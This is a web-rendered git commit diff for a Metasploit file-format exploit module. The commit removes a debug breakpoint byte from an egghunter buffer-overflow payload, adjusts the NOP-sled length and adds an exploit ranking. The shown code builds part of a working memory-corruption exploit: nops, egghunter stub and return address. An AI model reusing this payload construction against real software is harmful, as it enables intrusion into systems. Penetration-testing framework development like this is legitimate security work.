remove debug code
git-svn-id: file:///home/svn/framework3/trunk@7756 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
6ae2293a79
commit
cb5d02af20
|
@ -8,6 +8,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
include Msf::Exploit::FILEFORMAT
|
include Msf::Exploit::FILEFORMAT
|
||||||
include Msf::Exploit::Egghunter
|
include Msf::Exploit::Egghunter
|
||||||
|
@ -64,8 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
off = target['Offset']
|
off = target['Offset']
|
||||||
idxf = ""
|
idxf = ""
|
||||||
idxf << make_nops(off - eh_stub.length - 1)
|
idxf << make_nops(off - eh_stub.length)
|
||||||
idxf << "\xcc"
|
|
||||||
idxf << eh_stub
|
idxf << eh_stub
|
||||||
idxf << [target.ret].pack('V')
|
idxf << [target.ret].pack('V')
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue